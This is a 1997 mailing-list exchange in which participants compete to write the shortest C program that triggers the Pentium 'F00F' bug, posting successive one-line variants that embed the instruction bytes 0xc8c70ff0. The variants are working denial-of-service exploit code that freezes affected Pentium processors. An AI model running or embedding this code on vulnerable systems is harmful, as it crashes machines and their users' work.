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Michael Stutz writes:
On Fri, 14 Nov 1997, Adam Back wrote:
f00fie writes:
In the grand tradition of RSA-in-3-lines-of-perl, we present Crash-A-Pentium-in-44-characters:
main(){int i=0xc8c70ff0;void (*f)()=&i;f();}
Hey, challenge is on:
main(){int i=0xc8c70ff0;void (*f)()=&i;f();} /* f00fies 44 char */ main(){((int(*)())"\360\017\307\310")();} main(){int i=0xc8c70ff0,(*f)()=&i;f();} main(i){int(*f)()=&i;i=0xc8c70ff0;f();} main(i){i=0xc8c70ff0;((int(*)())&i)();} (*f)();main(i){f=&i;i=0xc8c70ff0;f();} (*f)()="\360\017\307\310";main(){f();} /* 38 chars */
How about:
long main[]={0xc8c70ff0};
or even
main[]={0xc8c70ff0}; /* 21 chars */
Compiles with gcc, but I haven't tested it.
No need for an array, so my entry is: int main=0xc8c70ff0; /* 20 chars */ Compiles and runs, core dumping with illegal instruction on my Linux box (obviously, it's not a Pentium). -- Jeff